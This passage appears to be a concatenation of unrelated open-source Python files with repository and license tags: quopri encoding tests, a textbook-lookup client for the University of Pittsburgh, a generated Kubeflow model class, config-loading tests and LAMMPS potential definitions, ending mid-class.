(b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', b'''zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz= zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'''), # A string containing a hard line break, but which the first line is # 151 characters and the second line is exactly 76 characters. This # should leave us with three lines, the first which has a soft line # break, and which the second and third do not. (b'''yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz''', b'''yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy= yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'''), # Now some really complex stuff ;) (DECSAMPLE, ENCSAMPLE), ) # These are used in the "quotetabs=1" tests. ESTRINGS = ( (b'hello world', b'hello=20world'), (b'hello\tworld', b'hello=09world'), ) # These are used in the "header=1" tests. HSTRINGS = ( (b'hello world', b'hello_world'), (b'hello_world', b'hello=5Fworld'), ) @withpythonimplementation def test_encodestring(self): for p, e in self.STRINGS: self.assertEqual(quopri.encodestring(p), e) @withpythonimplementation def test_decodestring(self): for p, e in self.STRINGS: self.assertEqual(quopri.decodestring(e), p) @withpythonimplementation def test_idempotent_string(self): for p, e in self.STRINGS: self.assertEqual(quopri.decodestring(quopri.encodestring(e)), e) @withpythonimplementation def test_encode(self): for p, e in self.STRINGS: infp = io.BytesIO(p) outfp = io.BytesIO() quopri.encode(infp, outfp, quotetabs=False) self.assertEqual(outfp.getvalue(), e) @withpythonimplementation def test_decode(self): for p, e in self.STRINGS: infp = io.BytesIO(e) outfp = io.BytesIO() quopri.decode(infp, outfp) self.assertEqual(outfp.getvalue(), p) @withpythonimplementation def test_embedded_ws(self): for p, e in self.ESTRINGS: self.assertEqual(quopri.encodestring(p, quotetabs=True), e) self.assertEqual(quopri.decodestring(e), p) @withpythonimplementation def test_encode_header(self): for p, e in self.HSTRINGS: self.assertEqual(quopri.encodestring(p, header=True), e) @withpythonimplementation def test_decode_header(self): for p, e in self.HSTRINGS: self.assertEqual(quopri.decodestring(e, header=True), p) def test_scriptencode(self): (p, e) = self.STRINGS[-1] process = subprocess.Popen([sys.executable, "-mquopri"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) self.addCleanup(process.stdout.close) cout, cerr = process.communicate(p) # On Windows, Python will output the result to stdout using # CRLF, as the mode of stdout is text mode. To compare this # with the expected result, we need to do a line-by-line comparison. cout = cout.decode('latin-1').splitlines() e = e.decode('latin-1').splitlines() assert len(cout)==len(e) for i in range(len(cout)): self.assertEqual(cout[i], e[i]) self.assertEqual(cout, e) def test_scriptdecode(self): (p, e) = self.STRINGS[-1] process = subprocess.Popen([sys.executable, "-mquopri", "-d"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) self.addCleanup(process.stdout.close) cout, cerr = process.communicate(e) cout = cout.decode('latin-1') p = p.decode('latin-1') self.assertEqual(cout.splitlines(), p.splitlines()) def test_main(): support.run_unittest(QuopriTestCase) if __name__ == "__main__": test_main()
lgpl-3.0
goddardl/cortex
python/IECore/CompoundStream.py
17
2208
########################################################################## # # Copyright (c) 2010, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Image Engine Design nor the names of any # other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## ## A class which acts like a python file object but outputs to several # underlying files. This is useful for test output as it allows results to # be output to the terminal as well as a file. class CompoundStream : def __init__( self, streams=() ) : self.__streams = tuple( streams ) def write( self, l ) : for s in self.__streams : s.write( l ) def flush( self ) : for s in self.__streams : s.flush()
bsd-3-clause
dzheng256/PittAPI
PittAPI/textbook.py
2
7838
import grequests import requests from bs4 import BeautifulSoup from typing import List, Dict, Any, Callable, Generator, Tuple BASE_URL = 'http://pitt.verbacompare.com/' CODES = [ 'ADMJ', 'ADMPS', 'AFRCNA', 'AFROTC', 'ANTH', 'ARABIC', 'ARTSC', 'ASL', 'ASTRON', 'ATHLTR', 'BACC', 'BCHS', 'BECN', 'BFIN', 'BHRM', 'BIND', 'BIOENG', 'BIOETH', 'BIOINF', 'BIOSC', 'BIOST', 'BMIS', 'BMKT', 'BOAH', 'BORG', 'BQOM', 'BSEO', 'BSPP', 'BUS', 'BUSACC', 'BUSADM', 'BUSBIS', 'BUSECN', 'BUSENV', 'BUSERV', 'BUSFIN', 'BUSHRM', 'BUSMKT', 'BUSORG', 'BUSQOM', 'BUSSCM', 'BUSSPP', 'CDACCT', 'CDENT', 'CEE', 'CGS', 'CHE', 'CHEM', 'CHIN', 'CLASS', 'CLRES', 'CLST', 'CMMUSIC', 'CMPBIO', 'COE', 'COEA', 'COEE', 'COMMRC', 'CS', 'CSD', 'DENHYG', 'DENT', 'DIASCI', 'DSANE', 'EAS', 'ECE', 'ECON', 'EDUC', 'ELI', 'EM', 'ENDOD', 'ENGCMP', 'ENGFLM', 'ENGLIT', 'ENGR', 'ENGSCI', 'ENGWRT', 'ENRES', 'EOH', 'EPIDEM', 'FACDEV', 'FILMG', 'FILMST', 'FP', 'FR', 'FTADMA', 'FTDA', 'FTDB', 'FTDC', 'FTDR', 'GEOL', 'GER', 'GERON', 'GREEK', 'GREEKM', 'GSWS', 'HAA', 'HIM', 'HINDI', 'HIST', 'HONORS', 'HPA', 'HPM', 'HPS', 'HRS', 'HUGEN', 'IDM', 'IE', 'IL', 'IMB', 'INFSCI', 'INTBP', 'IRISH', 'ISB', 'ISSP', 'ITAL', 'JPNSE', 'JS', 'KOREAN', 'LATIN', 'LAW', 'LCTL', 'LDRSHP', 'LEGLST', 'LING', 'LIS', 'LSAP', 'MATH', 'ME', 'MED', 'MEDEDU', 'MEMS', 'MILS', 'MOLBPH', 'MSCBIO', 'MSCBMP', 'MSCMP', 'MSE', 'MSIMM', 'MSMBPH', 'MSMGDB', 'MSMPHL', 'MSMVM', 'MSNBIO', 'MUSIC', 'NEURO', 'NPHS', 'NROSCI', 'NUR', 'NURCNS', 'NURNM', 'NURNP', 'NURSAN', 'NURSP', 'NUTR', 'ODO', 'OLLI', 'ORBIOL', 'ORSUR', 'OT', 'PAS', 'PEDC', 'PEDENT', 'PERIO', 'PERS', 'PETE', 'PHARM', 'PHIL', 'PHYS', 'PIA', 'POLISH', 'PORT', 'PROSTH', 'PS', 'PSY', 'PSYC', 'PSYED', 'PT', 'PUBHLT', 'PUBSRV', 'REHSCI', 'REL', 'RELGST', 'RESTD', 'RUSS', 'SA', 'SERCRO', 'SLAV', 'SLOVAK', 'SOC', 'SOCWRK', 'SPAN', 'STAT', 'SWAHIL', 'SWBEH', 'SWCOSA', 'SWE', 'SWGEN', 'SWINT', 'SWRES', 'SWWEL', 'TELCOM', 'THEA', 'TURKSH', 'UKRAIN', 'URBNST', 'VIET'] KEYS = ['isbn', 'citation', 'title', 'edition', 'author'] QUERIES = { 'courses': 'compare/courses/?id={}&term_id={}', 'books': 'compare/books?id={}' } LOOKUP_ERRORS = { 1: 'section {1}.', 2: 'instructor {2}.', 3: 'section {1} or instructor {2}.' } def _construct_query(query: str, *args) -> str: """Constructs query based on which one is requested and fills the query in with the given arguments """ return QUERIES[query].format(*args) def _validate_term(term: str) -> str: """Validates term is a string and check if it is valid.""" if len(term) == 4 and term.isdigit(): return term raise ValueError("Invalid term") def _validate_course(course: str) -> str: """Validates course is a four digit number, otherwise adds zero(s) to create four digit number or, raises an exception. """ if len(course) > 4 or not course.isdigit(): raise ValueError('Invalid course number') elif len(course) == 4: return course return '0' * (4 - len(course)) + course def _filter_dictionary(d: Dict[Any,Any], keys: List[Any]) -> Dict[Any,Any]: """Creates new dictionary from selecting certain key value pairs from another dictionary """ return dict( (k, d[k]) for k in keys if k in d ) def _find_item(id_key, data_key, error_item) -> Callable[[Dict[Any,Any], Any], Any]: """Finds a dictionary in a list based on its id key, and returns a piece of data from the dictionary based on a data key. """ def find(data, value): for item in data: if item[id_key] == value: return item[data_key] raise LookupError('Can\'t find {} {}.'.format(error_item, str(value))) return find _find_sections = _find_item('id', 'sections', 'course') _find_course_id_by_instructor = _find_item('instructor', 'id', 'instructor') _find_course_id_by_section = _find_item('name', 'id', 'section') def _extract_id(response, course: str, instructor: str, section: str) -> str: """Gathers sections from departments and finds course id by instructor name or section number. """ sections = _find_sections(response.json(), course) error = 0 try: if section is not None: return _find_course_id_by_section(sections, section) except LookupError: error += 1 try: if instructor is not None: return _find_course_id_by_instructor(sections, instructor.upper()) except LookupError: error += 2 raise LookupError('Unable to find course by ' + LOOKUP_ERRORS[error].format(section, instructor)) def _extract_books(ids: List[str]) -> List[Dict[str,str]]: """Fetches a course's textbook information and returns a list of textbooks for the given course. """ responses = grequests.imap([ grequests.get(BASE_URL + _construct_query('books', section_id)) for section_id in ids ]) books = [ _filter_dictionary(book, KEYS) for response in responses for book in response.json() ] return books # Meant to force a return of None instead of raising a KeyError # when using a nonexistent key class DefaultDict(dict): def __missing__(self, key): return None def _fetch_course(courses: List[Dict[str,str]], departments: Dict[str,str]) -> Generator[Tuple[str,str,str,str], None, None]: """Generator for fetching a courses information in order""" for course in courses: course = DefaultDict(course) yield ( departments[course['department']], course['department'] + _validate_course(course['course']), course['instructor'], course['section'] ) def _get_department_number(department_code: str) -> int: """Temporary solution to finding a department. There will be a new method to getting department information at a later time. """ department_number = CODES.index(department_code) + 22399 if department_number > 22462: department_number += 2 # between codes DSANE and EAS 2 id numbers are skipped. if department_number > 22580: department_number += 1 # between codes PUBSRV and REHSCI 1 id number is skipped. return department_number def get_textbooks(term: str, courses: List[Dict[str,str]]) -> List[Dict[str,str]]: """Retrieves textbooks for multiple courses in the same term.""" departments = {course['department'] for course in courses} responses = grequests.map( [ grequests.get( BASE_URL + _construct_query( 'courses', _get_department_number(department), _validate_term(term) ), timeout=10 ) for department in departments ] ) section_ids = [ _extract_id(*course) for course in _fetch_course(courses, dict(zip( sorted(departments), sorted(responses, key=lambda resp: resp.json()[0]['name']) ))) ] return _extract_books(section_ids) def get_textbook(term: str, department: str, course: str, instructor:str=None, section:str=None) -> List[Dict[str,str]]: """Retrieves textbooks for a given course.""" has_section_or_instructor = (instructor is not None) or (section is not None) if not has_section_or_instructor: raise TypeError('get_textbook() is missing a instructor or section argument') response = requests.get( BASE_URL + _construct_query( 'courses', _get_department_number(department), _validate_term(term) ) ) section_id = _extract_id(response, department + _validate_course(course), instructor, section) return _extract_books([section_id])
gpl-2.0
kubeflow/tf-operator
sdk/python/kubeflow/tfjob/models/v1_tf_job_list.py
1
7083
# Copyright 2019 kubeflow.org. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # coding: utf-8 """ tfjob Python SDK for TF-Operator # noqa: E501 OpenAPI spec version: v0.1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six from kubernetes.client import V1ListMeta # noqa: F401,E501 from kubeflow.tfjob.models.v1_tf_job import V1TFJob # noqa: F401,E501 class V1TFJobList(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'api_version': 'str', 'items': 'list[V1TFJob]', 'kind': 'str', 'metadata': 'V1ListMeta' } attribute_map = { 'api_version': 'apiVersion', 'items': 'items', 'kind': 'kind', 'metadata': 'metadata' } def __init__(self, api_version=None, items=None, kind=None, metadata=None): # noqa: E501 """V1TFJobList - a model defined in Swagger""" # noqa: E501 self._api_version = None self._items = None self._kind = None self._metadata = None self.discriminator = None if api_version is not None: self.api_version = api_version self.items = items if kind is not None: self.kind = kind if metadata is not None: self.metadata = metadata @property def api_version(self): """Gets the api_version of this V1TFJobList. # noqa: E501 APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources # noqa: E501 :return: The api_version of this V1TFJobList. # noqa: E501 :rtype: str """ return self._api_version @api_version.setter def api_version(self, api_version): """Sets the api_version of this V1TFJobList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources # noqa: E501 :param api_version: The api_version of this V1TFJobList. # noqa: E501 :type: str """ self._api_version = api_version @property def items(self): """Gets the items of this V1TFJobList. # noqa: E501 List of TFJobs. # noqa: E501 :return: The items of this V1TFJobList. # noqa: E501 :rtype: list[V1TFJob] """ return self._items @items.setter def items(self, items): """Sets the items of this V1TFJobList. List of TFJobs. # noqa: E501 :param items: The items of this V1TFJobList. # noqa: E501 :type: list[V1TFJob] """ if items is None: raise ValueError("Invalid value for `items`, must not be `None`") # noqa: E501 self._items = items @property def kind(self): """Gets the kind of this V1TFJobList. # noqa: E501 Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds # noqa: E501 :return: The kind of this V1TFJobList. # noqa: E501 :rtype: str """ return self._kind @kind.setter def kind(self, kind): """Sets the kind of this V1TFJobList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds # noqa: E501 :param kind: The kind of this V1TFJobList. # noqa: E501 :type: str """ self._kind = kind @property def metadata(self): """Gets the metadata of this V1TFJobList. # noqa: E501 Standard list metadata. # noqa: E501 :return: The metadata of this V1TFJobList. # noqa: E501 :rtype: V1ListMeta """ return self._metadata @metadata.setter def metadata(self, metadata): """Sets the metadata of this V1TFJobList. Standard list metadata. # noqa: E501 :param metadata: The metadata of this V1TFJobList. # noqa: E501 :type: V1ListMeta """ self._metadata = metadata def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(V1TFJobList, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, V1TFJobList): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
apache-2.0
teriyakichild/python-zcli
zcli/ClsDict.py
1
6115
# Why cls_state... cls_state is a portable attrdict class ClsDict(dict): """This is an attrdict implementation that provides: * property access for dict elements * overrides for properties * * Override getitem, setitem, getattr, and setattr to provide the following behaviors: @property decorators take precidence over dict items... and are always called. @prop.setter decorators take precidence and can call self['key'] to set dict vals. self.cls_properties['key'] to prevent key from being auto saved self['key'] self.key == self['key'] without self.cls_properties or @property reserved keys are: * cls_properties - use to always treat properties['name'] as a property only. * _cls_seen_flags - flag list to prevent inf looping * CLSDICT_PROPERTIES """ # CLS_ITEMS kept from iter and dict, but not properties CLSDICT_PROPERTIES = ['cls_properties', '_cls_seen_flags', '__dict__', '__members__', '__methods__', '__class__'] def __init__(self, *args, **kwargs): """Build a fancy attrdict like object arg0 dict The diction object to instatiate with :recurse: True""" # Order here is critical # 1st if not hasattr(self, '_cls_seen_flags'): self._cls_seen_flags = [] # 2nd if not hasattr(self, 'cls_properties'): self.cls_properties = [] if 'cls_properties' in kwargs and isinstance(kwargs['cls_properties'], list): self.cls_properties = self.cls_properties + kwargs['cls_properties'] recurse = kwargs['recurse'] if 'recurse' in kwargs else True obj = args[0] if len(args) > 0 else {} """Recusrively call self to capture all itterable dict and lists""" if not recurse: for k, v in obj.iteritems(): self[k] = v else: # recursive option recurses till it hits a non dict or non dict in a list # E.G. list in list or object in list or string in list. # a dict in a list would still recurse, but not a dict in a list in a list. # [{}] > yes # [[{}]] > no # ['str'] > no # [{key:'val'},'str'] > yes, no if isinstance(obj, dict): for k, v in obj.iteritems(): if isinstance(v, dict): self[k] = ClsDict(v) elif isinstance(v, list): # list in dict nl = [] for item in v: if isinstance(item, dict): nl.append(ClsDict(item)) else: # if list in list or string or other... stop recursing nl.append(item) self[k] = nl else: self[k] = v def __getattribute__(self, key): # prevent recursion loops CLSDICT_PROPERTIES = super(ClsDict, self).__getattribute__('CLSDICT_PROPERTIES') if (key == 'cls_properties' or key == '_cls_seen_flags' or key in CLSDICT_PROPERTIES): return super(ClsDict, self).__getattribute__(key) else: # prevent recursion loops -- local vars for easier use later _cls_seen_flags = super(ClsDict, self).__getattribute__('_cls_seen_flags') cls_properties = super(ClsDict, self).__getattribute__('cls_properties') #__class__ = super(ClsDict, self).__getattribute__('__class__') if (key not in _cls_seen_flags and (hasattr(self, 'cls_properties') and key in cls_properties) or key in dir(self)): try: _cls_seen_flags.append(key) val = super(ClsDict, self).__getattribute__(key) except: raise finally: _cls_seen_flags.remove(key) return val else: try: return super(ClsDict, self).__getattribute__(key) except: return self[key] def __setattr__(self, key, val): if (key == 'cls_properties' or key == '_cls_seen_flags' or key in self.CLSDICT_PROPERTIES): super(ClsDict, self).__setattr__(key, val) else: _cls_seen_flags = super(ClsDict, self).__getattribute__('_cls_seen_flags') if (key not in _cls_seen_flags and (hasattr(self, 'cls_properties') and key in self.cls_properties or key in dir(self))): try: _cls_seen_flags.append(key) super(ClsDict, self).__setattr__(key, val) except: raise finally: _cls_seen_flags.remove(key) else: self[key] = val def __getitem__(self, key): if (key == 'cls_properties' or key in self.CLSDICT_PROPERTIES or key in dir(self) or hasattr(self, 'cls_properties') and key in self.cls_properties): if key not in self._cls_seen_flags: return getattr(self, key) else: return super(ClsDict, self).__getitem__(key) else: return super(ClsDict, self).__getitem__(key) def __setitem__(self, key, val): if (key == 'cls_properties' or key == '_cls_seen_flags' or key in self.CLSDICT_PROPERTIES): setattr(self, key, val) else: if (key not in self._cls_seen_flags and (key in dir(self) or hasattr(self, 'cls_properties') and key in self.cls_properties)): setattr(self, key, val) else: super(ClsDict, self).__setitem__(key, val)
apache-2.0
tetravision/Test
test/integ/util/conf.py
12
3764
""" Integration tests for the stem.util.conf class and functions. """ import os import unittest import stem.util.conf import test.runner CONF_HEADER = """# Demo configuration for integration tests to run against. Nothing to see here, # move along, move along. """ EXAMPLE_CONF = """ destination.ip 1.2.3.4 destination.port blarg startup.run export PATH=$PATH:~/bin startup.run alias l=ls """ MULTILINE_CONF = """ multiline.entry.simple |la de da |and a ho hum multiline.entry.leading_whitespace |la de da |and a ho hum multiline.entry.empty multiline.entry.squashed_top |la de da |and a ho hum multiline.entry.squashed_bottom |la de da |and a ho hum """ HERALD_POEM = """ What a beautiful morning, what a beautiful day. Why are those arrows", coming my way?!?""" def _get_test_config_path(): return test.runner.get_runner().get_test_dir('integ_test_cfg') def _make_config(contents): """ Writes a test configuration to disk, returning the path where it is located. """ test_config_path = _get_test_config_path() test_conf_file = open(test_config_path, 'w') test_conf_file.write(CONF_HEADER) test_conf_file.write(contents) test_conf_file.close() return test_config_path class TestConf(unittest.TestCase): def tearDown(self): # clears the config contents test_config = stem.util.conf.get_config('integ_testing') test_config.clear() test_config.clear_listeners() # cleans up test configurations we made test_config_path = _get_test_config_path() if os.path.exists(test_config_path): os.remove(test_config_path) def test_example(self): """ Checks that the pydoc example is correct. """ ssh_config = stem.util.conf.config_dict('integ_testing', { 'login.user': 'atagar', 'login.password': 'pepperjack_is_awesome!', 'destination.ip': '127.0.0.1', 'destination.port': 22, 'startup.run': [], }) test_config_path = _make_config(EXAMPLE_CONF) user_config = stem.util.conf.get_config('integ_testing') user_config.load(test_config_path) self.assertEqual('atagar', ssh_config['login.user']) self.assertEqual('pepperjack_is_awesome!', ssh_config['login.password']) self.assertEqual('1.2.3.4', ssh_config['destination.ip']) self.assertEqual(22, ssh_config['destination.port']) self.assertEqual(['export PATH=$PATH:~/bin', 'alias l=ls'], ssh_config['startup.run']) def test_load_multiline(self): """ Tests the load method with multi-line configuration files. """ test_config_path = _make_config(MULTILINE_CONF) test_config = stem.util.conf.get_config('integ_testing') test_config.load(test_config_path) for entry in ('simple', 'leading_whitespace', 'squashed_top', 'squashed_bottom'): self.assertEqual('la de da\nand a ho hum', test_config.get('multiline.entry.%s' % entry)) self.assertEqual('', test_config.get('multiline.entry.empty')) def test_save(self): """ Saves then reloads a configuration with several types of values. """ # makes a configuration with a variety of types test_config = stem.util.conf.get_config('integ_testing') test_config.set('single_value', "yup, I'm there") test_config.set('multiple_values', 'a', False) test_config.set('multiple_values', 'b', False) test_config.set('multiple_values', 'c', False) test_config.set('multiline_value', HERALD_POEM) test_config.save(_get_test_config_path()) test_config.clear() test_config.load() self.assertEqual("yup, I'm there", test_config.get_value('single_value')) self.assertEqual(['a', 'b', 'c'], test_config.get_value('multiple_values', multiple = True)) self.assertEqual(HERALD_POEM, test_config.get_value('multiline_value'))
lgpl-3.0
vrenaville/stock-logistics-workflow
__unported__/stock_obsolete/report/product_obsolete.py
19
3160
# -*- coding: utf-8 -*- ############################################################################## # # Author: Joël Grand-Guillaume, Matthieu Dietrich # Copyright 2008-2015 Camptocamp SA # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time import re from report import report_sxw from openerp.tools.translate import _ class ProductObsolete(report_sxw.rml_parse): def __init__(self, cr, uid, name, context): super(ProductObsolete, self).__init__(cr, uid, name, context) self.localcontext.update({ 'time': time, 'comma_me': self.comma_me, 'get_name_of': self.get_depreciation_name, }) self.context = context def comma_me(self, amount): if type(amount) is float: amount = str('%.2f' % amount) else: amount = str(amount) orig = amount new = re.sub(r"^(-?\d+)(\d{3})", r"\g<1>'\g<2>", amount) if orig == new: return new else: return self.comma_me(new) def get_depreciation_name(self, value): if value == 'no': return _('No') elif value == 'half': return _('Half') elif value == 'full': return _('Full') else: return False def set_context(self, objects, data, ids, report_type=None): prod_obj = self.pool.get('product.product') if (data.get('ids', False) and data.get('model', False) == 'product.product'): ids = [data['ids']] else: ids = prod_obj.search(self.cr, self.uid, [('type', '=', 'product')], limit=4000) objects = prod_obj.browse(self.cr, self.uid, ids) def o_compare(x, y): if x.outgoing_qty_till_12m < y.outgoing_qty_till_12m: return 1 elif x.outgoing_qty_till_12m == y.outgoing_qty_till_12m: return 0 else: # x<y return -1 # sort object by depreciation 12 month objects.sort(o_compare) self.ids = [o.id for o in objects] self.localcontext['objects'] = objects report_sxw.report_sxw('report.product.obsolete', 'product.product', 'addons/stock_obsolete/report/product_obsolete.rml', parser=ProductObsolete, header=False)
agpl-3.0
peteboyd/lammps_interface
lammps_interface/lammps_potentials.py
1
45269
#!/usr/bin/env python """ Lammps potentital types. """ class BondPotential(object): """ Class to hold bond styles that are implemented in lammps Purpose is to store info that the user wants to use to overwrite standard UFF output of lammps_interface """ class Class2(object): """Potential defined as E = K2*(r-R0)^2 + K3*(r-R0)^3 + K4*(r-R0)^4 Input parameters: R0, K2, K3, K4. """ def __init__(self): self.name = "class2" self.R0 = 0. self.K2 = 0. self.K3 = 0. self.K4 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.R0, self.K2, self.K3,self.K4) return "%28s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.R0, self.K2, self.K3, self.K4) class Fene(object): """Potential defined as E = -0.5*K*R0^2 * ln[1-(r/R0)^2] + 4*eps*[(sig/r)^12 - (sig/r)^6] + eps Input parameters: K, R0, eps, sig """ def __init__(self): self.name = "fene" # NB: fene/omp and fene/kk exist self.K = 0. self.R0 = 0. self.eps = 0. self.sig = 0. def __str__(self): return "" class FeneExpand(object): """Potential defined as E = -0.5*K*R0^2 * ln[1-(r-delta/R0)^2] + 4*eps*[(sig/r-delta)^12 - (sig/r-delta)^6] + eps Input parameters: K, R0, eps, sig, delta """ def __init__(self): self.name = "fene/expand" # NB: fene/expand/omp exists self.K = 0. self.R0 = 0. self.eps = 0. self.sig = 0. self.delta = 0. def __str__(self): return "" class Harmonic(object): """Potential defined as E = K*(r - R0)^2 Input parameters: K, R0 special_flag is used to distinguish any extra inputs required for LAMMPS to run properly. eg. special_flag="shake" will flag this bond potential as a shake bond. """ def __init__(self): self.name = "harmonic" # harmonic/kk and harmonic/omp exist self.K = 0. self.R0 = 0. self.reduced = False self.special_flag = "" def __str__(self): special_flag = self.special_flag if special_flag: special_flag = "# "+self.special_flag if self.reduced: return "%15.6f %15.6f %s"%(self.K, self.R0, special_flag) return "%28s %15.6f %15.6f %s"%(self.name, self.K, self.R0, special_flag) class Morse(object): """Potential defined as E = D*[1 - e^(-alpha*(r-R0))]^2 Input parameters: D, alpha, R0 """ def __init__(self): self.name = "morse" # morse/omp exists self.D = 0. self.alpha = 0. self.R0 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.D, self.alpha, self.R0) return "%28s %15.6f %15.6f %15.6f"%(self.name, self.D, self.alpha, self.R0) class NonLinear(object): """Potential defined as E = eps*(r-R0)^2 / [lamb^2 - (r-R0)^2] Input parameters: eps, R0, lamb """ def __init__(self): self.name = "nonlinear" # nonlinear/omp exists self.eps = 0. self.R0 = 0. self.lamb = 0. def __str__(self): return "" class Quartic(object): """Potential defined as E = K*(r-Rc)^2 * (r - Rc - B1) * (r - Rc - B2) + U0 + 4*eps*[(sig/r)^12 - (sig/r)^6] + eps Input parameters: K, B1, B2, Rc, U0 """ def __init__(self): self.name = "quartic" # quartic/omp exists self.K = 0. self.B1 = 0. self.B2 = 0. self.Rc = 0. self.U0 = 0. def __str__(self): return "" class Table(object): """Potential read from file.""" def __init__(self): raise NotImplementedError ("Have not implemented the table funtion for lammps yet.") class HarmonicShift(object): """Potential defined as E = Umin/(R0 - Rc)^2 * [(r-R0)^2 - (Rc - R0)^2] Input parameters: Umin, R0, Rc """ def __init__(self): self.name = "harmonic/shift" # harmonic/shift/omp exists self.Umin = 0. self.R0 = 0. self.Rc = 0. def __str__(self): return "" class HarmonicShiftCut(object): """Potential defined as E = Umin/(R0 - Rc)^2 * [(r-R0)^2 - (Rc - R0)^2] Input parameters: Umin, R0, Rc """ def __init__(self): self.name = "harmonic/shift/cut" # harmonic/shift/cut/omp exists self.Umin = 0. self.R0 = 0. self.Rc = 0. def __str__(self): return "" class AnglePotential(object): """ Class to hold angle styles that are implemented in lammps """ class Charmm(object): """Potential defined as E = K*(theta - theta0)^2 + Kub*(r - Rub)^2 Input parameters: K, theta0, Kub, Rub """ def __init__(self): self.name = "charmm" # charmm/kk and charmm/omp exist self.K = 0. self.theta0 = 0. self.Kub = 0. self.Rub = 